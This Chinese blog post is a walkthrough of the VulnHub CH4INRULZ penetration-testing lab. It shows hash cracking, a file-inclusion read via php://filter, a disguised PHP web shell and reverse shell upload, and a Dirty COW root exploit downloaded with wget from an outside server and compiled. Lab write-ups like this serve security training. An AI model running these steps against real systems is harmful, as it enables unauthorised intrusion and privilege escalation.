vulnhub-CH4INRULZ渗透测试

环境搭建

vulnhub官网https://download.vulnhub.com/ch4inrulz/CH4INRULZ_v1.0.1.ova
下载好后直接拖进来,失败就再拖一次,成功部署后就是一个登陆界面
在这里插入图片描述

思路

nmap扫出地址并且得到四个端口,80和8011开放了Web服务,之后扫文件发现index.html.bak利用john爆破拿到账号密码,并且发现/development目录状态码是401需要密码认证,进去以后发现是一个文件上传的功能,转到8011端口这边发现文件包含漏洞。两者结合。找到文件上传的路径后利用php伪协议拿到uploader.php的源码,知道文件上传的路径后配合文件包含可以反弹一个shell。这里还用到了kali自带了一些反弹shell的脚本。拿到shell后开始提权:查看内核版本,直接脏牛提权,在利用40349.c之前自己还利用了40847.cpp和40838.c两个脚本提权的,但是失败了,40847.cpp在编译的时候需要g++,但是靶机里面没有g++,安装的话需要权限。40838.c编译成功并且执行了,但是好像没用,弹回来一个图片就没了。

渗透测试

kali地址192.168.64.255,扫同段所有地址,筛选选择
工具使用(kali linux 中 nmap msf cs docker Goby)

nmap -sP 192.168.64.0/24 		//-sP :ping扫描(不进行端口扫描)
nmap -sV 192.168.64.130  		//-sV:可以显示服务的详细版本

在这里插入图片描述
这里有80、8011两个web端口,21号ftp端口,22号ssh端口,访问80端口
在这里插入图片描述
并没有发现什么有用的地方,用御剑扫一扫
在这里插入图片描述

再用dirsearch扫
在这里插入图片描述

挨个访问基本都是NOTHING here , yet !
在这里插入图片描述

访问/index.html.bak,下载打开发现注释,这里应该是账号密码
在这里插入图片描述

<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->

这里用john爆破John the Ripper password cracker(参考密码破解—John the Ripper使用)

cd /home/kali/Desktop/vulnhub/john-1.8.0/src
make clean linux-x86-64  		//根据自己系统版本选择
cd ../run
vim shadow.txt 					// frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
./john shadow.txt

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
得到密码也是frank!!!,但是这里得到账号密码有什么用,其实这里访问/development/会有登陆框,登陆成功显示
在这里插入图片描述

在这里插入图片描述
访问/development/uploader发现上传框
在这里插入图片描述
这里尝试上传图片发现上传成功,但也并没有给出路径或者其他提示
在这里插入图片描述
尝试上传php一句话,发现做了限制,会对图片头部及后缀名进行审核
在这里插入图片描述在这里插入图片描述

虽然上传成功,但这里不知道路径也就没有能搞的地方了,所以先去:8011端口的web页面看一看,先用dirsearch扫
在这里插入图片描述
访问:8011/api发现4个php页面,但是只有files_api.php能够访问
在这里插入图片描述
在这里插入图片描述
提示要传file参数,这里尝试访问/etc/passwd

:8011/api/files_api.php?file=/etc/passwd

在这里插入图片描述

WRONG INPUT ! !尝试POST传参,发现成功读取
在这里插入图片描述既然能进行任意文件读取,那么我们可以读取upload.php来获得文件上传路径,但是这里也不知道80端口文件路径。这里通过apache的配置文件/etc/apache2/sites-enabled/000-default来获得

GET: :8011/api/files_api.php
POST: file=/etc/apache2/sites-enabled/000-default

在这里插入图片描述

在这里插入图片描述

知道upload.php文件路径后进行读取,这里发现没法直接读取,需要结合php伪协议读取uploader.php里面的内容

file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php

在这里插入图片描述
base64解密得到源码

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    
    
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
    
    
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
    
    
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    
    
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    
    
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    
    
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    
    
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    
    
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    
    
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
    
    
        echo "Sorry, there was an error uploading your file.";
    }
}
?

发现图片在/FRANKuploads/下,刚刚我们上传了一句话木马,这里直接进行文件包含并且上传参数

在这里插入图片描述
既然能进行包含并且能成功执行,那就再尝试反弹shell,这里用kali里面自带的php-reverse-shell.php文件,位于

/usr/share/webshells/php/php-reverse-shell.php

在这里插入图片描述

将IP地址修改成kali的地址和kali开启的监听端口,加上GIF89a图片头改为gif后缀进行上传

在这里插入图片描述
kali监听1234端口的同时利用:8011/api/files_api.php进行文件包含,这里我用kali反复连不上,换到本机就连上了

在这里插入图片描述
这里有了www-data权限后再稳定一下bash

python -c 'import pty;pty.spawn("/bin/bash")'

继续提权。查看内核版本信息,可用脏牛直接提权
在这里插入图片描述

将40839文件复制到桌面,开启一个http服务(也可以在网上找已经放好了个链接)

cp /usr/share/exploitdb/exploits/linux/local/40839.c ~/Desktop 
python -m SimpleHTTPServer 8848

在这里插入图片描述让靶机从kali上下载40839.cpp文件(这里还是不行,所以我把扔到服务器上),提示不能写入,权限不够
在这里插入图片描述

查看各个目录的权限
在这里插入图片描述

我们将40839.cpp下载到/tmp目录下

 wget http://vulhub.yster.live/40839.c

在这里插入图片描述

编译执行可以输入新密码

 gcc -pthread 40839.c -o dirty -lcrypt

在这里插入图片描述
在这里插入图片描述
知道账号密码后直接登陆cat root.txt

su firefart
123456
cat /root/root.txt

在这里插入图片描述
在这里插入图片描述

Guess you like

Origin blog.csdn.net/weixin_54648419/article/details/121363795